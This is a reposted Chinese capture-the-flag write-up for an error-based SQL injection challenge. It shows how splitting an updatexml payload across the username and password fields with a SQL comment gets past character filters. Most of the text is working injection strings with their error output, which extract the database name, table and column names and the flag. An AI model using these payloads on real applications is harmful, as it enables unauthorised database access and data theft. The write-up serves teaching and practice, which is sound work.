原文:
https://blog.csdn.net/qq_35078631/article/details/79221618
题目链接:
http://ctf5.shiyanbar.com/web/baocuo/index.php?id=1
报错注入,题目过滤了一些字符
我们假如构造如下可以登陆
为啥不就不多说了
构造语句成了
select * from users where username='1'' and password='or'1';
可以试试这个语句是可以绕过的。但是并没有我们想要的答案,而且要报错注入,就是那些套路,首先fuzz一波(这个很重要)首先看一下username的
我们留心一下,updatexml没有禁掉,但是禁掉了圆括号。再看一下password的fuzz
没有禁掉圆括号,但是禁掉了等号。但是怎么利用!我们看一下正常的报错注入是怎么利用的,那最简单的为例子
http://www.waitalone.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
要and updatexml一个内容,我们这里有两个输入,而且username过滤了(),password过滤了updatexml,那么我们是不是可以组合一下?但是中间的语句怎么办?我们可以注释掉!我们构造这样的输入
为什么?这个时候语句被构造成了
select * from users where username='1' and updatexml/*' and password='*/(1,concat(0x7e,(SELECT @@version),0x7e),1)or'1'
然后就成了常规的报错注入了,真是好思想!
最后得到flag步骤如下:
username=1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT database()),0x7e),1)or'1
<br>XPATH syntax error: '~error_based_hpf~'
username=1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf') ),0x7e),3)or'1
<br>XPATH syntax error: '~ffll44jj,users~'
username=1' and updatexml/*&password=*/(1,concat(0x7e,(SELECT group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj') ),0x7e),3)or'1
<br>XPATH syntax error: '~value~'
username=1' and updatexml/*
&password=*/(1,concat(0x7e,(SELECT value from ffll44jj),0x7e),3)or'1
<br>XPATH syntax error: '~flag{err0r_b4sed_sqli_+_hpf}~'